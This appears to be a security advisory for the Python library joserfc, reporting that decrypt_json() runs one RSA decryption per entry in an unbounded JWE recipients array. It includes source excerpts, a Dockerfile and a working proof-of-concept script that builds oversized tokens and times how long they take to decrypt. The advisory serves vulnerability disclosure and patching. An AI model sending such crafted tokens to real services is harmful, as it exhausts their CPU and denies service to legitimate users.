GHSA-jpxq-7h8p-2q76

Suggest an improvement
Source
https://github.com/advisories/GHSA-jpxq-7h8p-2q76
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jpxq-7h8p-2q76/GHSA-jpxq-7h8p-2q76.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jpxq-7h8p-2q76
Aliases
Published
2026-10-30T14:54:20Z
Modified
2026-10-30T15:15:03Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption
Details

Summary

joserfc.jwe.decrypt_json(), the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled recipients array of unbounded length and performs one full private-key decryption operation (decrypt_cek) for every recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, verify_all_recipients=False, does not reduce the CPU cost, since the decrypt loop attempts every recipient's decrypt_cek() unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High).

Details

joserfc validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside src/joserfc/_rfc7516/registry.py, but performs no validation whatsoever on the number of entries in the recipients array of a JWE General JSON Serialization object.

Data flow (source → sink), verified directly against the repository source at commit 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):

  1. src/joserfc/jwe.py:214 — public parser entry point decrypt_json(data, private_key, ...). This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON.
  2. src/joserfc/jwe.py:238 — if "recipients" is present in the input dict, extract_general_json(...) is invoked.
  3. src/joserfc/_rfc7516/json.py:84-86 — iterates for item in data["recipients"]: and appends a Recipient object for every entry, with no upper bound check on len(data["recipients"]):
    for item in data["recipients"]:
        recipient = __extract_recipient(obj, item, registry)
        obj.recipients.append(recipient)
    
  4. src/joserfc/jwe.py:252 — the private key is attached to every extracted recipient.
  5. src/joserfc/_rfc7516/message.py:103-112 — _perform_decrypt() loops over every recipient in obj.recipients and calls decrypt_recipient(...) for each one, regardless of how many there are:
    cek_set = set()
    for recipient in obj.recipients:
        headers = recipient.headers()
        registry.check_header(headers, True)
        alg = registry.get_alg(headers["alg"])
        try:
            cek = decrypt_recipient(alg, enc, recipient, tag)
            cek_set.add(cek)
    
  6. src/joserfc/_rfc7518/jwe_algs.py:74-83 — for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation:
    def decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes:
        key = recipient.recipient_key
        assert key is not None
        self.check_key_type(key)
        op_key = key.get_op_key("decrypt")
        try:
            assert recipient.encrypted_key is not None
            cek = op_key.decrypt(recipient.encrypted_key, self.padding)
    

Confirmed by direct inspection of src/joserfc/_rfc7516/registry.py: size caps exist for max_header_length, max_encrypted_key_length, max_iv_length, max_ciphertext_length, and max_auth_tag_length (registry.py:52-62, 103-121), but no max_recipients (or equivalent) field or check exists anywhere in registry.py, json.py, or jwe.py.

Critically, the loop in message.py:103-112 calls decrypt_recipient() for every recipient unconditionally — this happens before registry.verify_all_recipients is ever consulted. Setting verify_all_recipients=False (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does not reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between verify_all_recipients=True and verify_all_recipients=False for the same recipient count.

decrypt_json() is not a demo-only or admin-only code path: it is documented in docs/guide/jwe.rst:156-182 as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 p2c iteration cap (src/joserfc/_rfc7518/jwe_algs.py:237-239) and the JWE compression "zip bomb" size cap (src/joserfc/_rfc7518/jwe_zips.py:11,26-28) — indicating the recipient-count case was simply missed from the same class of hardening.

PoC

Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.

Environment setup (Dockerfile):

FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]

Build and run (source is used unmodified; container has no network access):

docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500

PoC logic (poc.py): generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (GeneralJSONEncryption) wrapping a small plaintext with an attacker-chosen number n of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API joserfc.jwe.decrypt_json() and measures wall-clock decrypt time, once with verify_all_recipients=True and once with verify_all_recipients=False.

def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes

def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello"
    return dt

Observed results (Phase 2, inside the Docker container, --network none, unmodified source):

[*] Attacker crafts General JSON JWE with recipients=1 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
       no upper bound, and verify_all_recipients=False did not mitigate the cost.

Independent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, plaintext=b'hello' was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.

In all cases, verify_all_recipients=False produced decrypt times statistically identical to verify_all_recipients=True for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.

Impact

This is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that:

  • exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and
  • decrypts it using joserfc.jwe.decrypt_json() with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA1_5)

is impacted. The attacker needs only the victim's RSA public key — which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector's C:N/I:N/A:H.

Reproduction artifacts

Dockerfile

# VULN-001 dynamic reproduction environment
# Unbounded JWE General JSON "recipients" array causes CPU exhaustion via
# repeated RSA private-key decryption in joserfc's decrypt_json().
#
# This image builds joserfc from the local repository clone (unmodified
# source) and provides a Python environment to run poc.py against it.

FROM python:3.12-slim

WORKDIR /app

# Copy the exact repository source under test (unmodified).
COPY repo /app/repo

# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo

# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py

ENTRYPOINT ["python3", "/app/poc.py"]

poc.py

"""
VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes
CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside
joserfc's public parser API `joserfc.jwe.decrypt_json()`.

Data flow reproduced end to end (unmodified joserfc source):
  1. joserfc.jwe.decrypt_json()                         (src/joserfc/jwe.py:214)
  2. -> extract_general_json()                           (src/joserfc/_rfc7516/json.py:73)
  3. -> for item in data["recipients"]: (NO COUNT CAP)   (src/joserfc/_rfc7516/json.py:84)
  4. -> perform_decrypt() -> _perform_decrypt()          (src/joserfc/_rfc7516/message.py:93-112)
  5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,
        regardless of registry.verify_all_recipients
  6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...)   (src/joserfc/_rfc7518/jwe_algs.py:74-83)
     performs one real RSA-2048 private-key decrypt operation per recipient.

This script:
  (a) builds a victim RSA keypair (2048-bit, as an application would use for
      RSA-OAEP JWE decryption),
  (b) crafts a General JSON JWE token with an attacker-chosen number of
      RSA-OAEP recipients, all wrapping the SAME small ciphertext,
  (c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends
      processing the token as the recipient count grows,
  (d) shows that setting verify_all_recipients=False (the only public
      mitigation knob mentioned in the docs) does NOT reduce the CPU cost,
      because the decrypt loop in message.py always attempts every
      recipient's decrypt_cek() before that flag is ever consulted.

Deterministic PASS criteria (printed as machine-readable JSON lines):
  - decrypt_json() succeeds (returns correct plaintext) for all recipient counts.
  - decrypt_seconds scales roughly linearly with recipient count (attacker
    control over victim CPU cost, unbounded by the library).
  - decrypt_seconds for verify_all_recipients=False is statistically the same
    order of magnitude as verify_all_recipients=True for the same recipient
    count (proving the documented mitigation does not help).
"""

import argparse
import json
import time

from joserfc import jwe, jwk
from joserfc.jwe import GeneralJSONEncryption
from joserfc.jwe import JWERegistry


def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    """Craft a General JSON JWE with n_recipients RSA-OAEP recipients,
    all wrapping the same small plaintext. This is exactly the shape an
    unauthenticated network attacker can send to any endpoint that calls
    jwe.decrypt_json() on external input, as documented in
    docs/guide/jwe.rst."""
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes


def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}"
    return dt


def main():
    parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC")
    parser.add_argument(
        "--recipients",
        type=int,
        nargs="+",
        default=[1, 500, 1500],
        help="Recipient counts to test (attacker-controlled array length).",
    )
    parser.add_argument(
        "--key-bits",
        type=int,
        default=2048,
        help="RSA key size of the victim's decryption key.",
    )
    args = parser.parse_args()

    print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...")
    private_key = jwk.RSAKey.generate_key(args.key_bits)
    public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))
    print("[*] Victim private key generated locally; public key is what an attacker would normally have.")

    results = []
    for n in args.recipients:
        print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...")
        token, size_bytes = build_token(public_key, n)

        dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)
        print(
            f"    verify_all_recipients=True  -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}"
        )

        dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)
        print(
            f"    verify_all_recipients=False -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} "
            f"(documented 'mitigation' does NOT reduce CPU cost)"
        )

        results.append(
            {
                "recipients": n,
                "size_bytes": size_bytes,
                "decrypt_seconds_verify_all_true": round(dt_verify_true, 3),
                "decrypt_seconds_verify_all_false": round(dt_verify_false, 3),
            }
        )

    print("\n[RESULT_JSON] " + json.dumps(results))

    # Deterministic scaling check: CPU time for the largest recipient count
    # must be substantially larger (order of magnitude, not noise) than for
    # the smallest, proving attacker control over victim CPU consumption.
    baseline = results[0]["decrypt_seconds_verify_all_true"]
    worst = results[-1]["decrypt_seconds_verify_all_true"]
    ratio = worst / baseline if baseline > 0 else float("inf")
    recipient_ratio = results[-1]["recipients"] / results[0]["recipients"]
    print(
        f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x "
        f"decrypt_time_ratio={ratio:.1f}x "
        f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)"
    )

    if ratio < recipient_ratio * 0.3:
        print("[FAIL] Decrypt time did not scale with recipient count as expected.")
        raise SystemExit(1)

    print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied "
          "recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.")


if __name__ == "__main__":
    main()
Database specific
{
    "cwe_ids":  [
        "CWE-400"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-30T14:54:20Z",
    "nvd_published_at":  "2026-10-29T22:17:01Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / joserfc

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.7.5

Affected versions

0.*
0.1.0
0.2.0
0.3.0
0.4.0
0.5.0
0.6.0
0.7.0
0.8.0
0.9.0
0.10.0
0.11.0
0.11.1
0.12.0
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.1.0
1.2.0
1.2.1
1.2.2
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.4.0
1.4.1
1.4.2
1.4.3
1.5.0
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.7
1.6.8
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jpxq-7h8p-2q76/GHSA-jpxq-7h8p-2q76.json"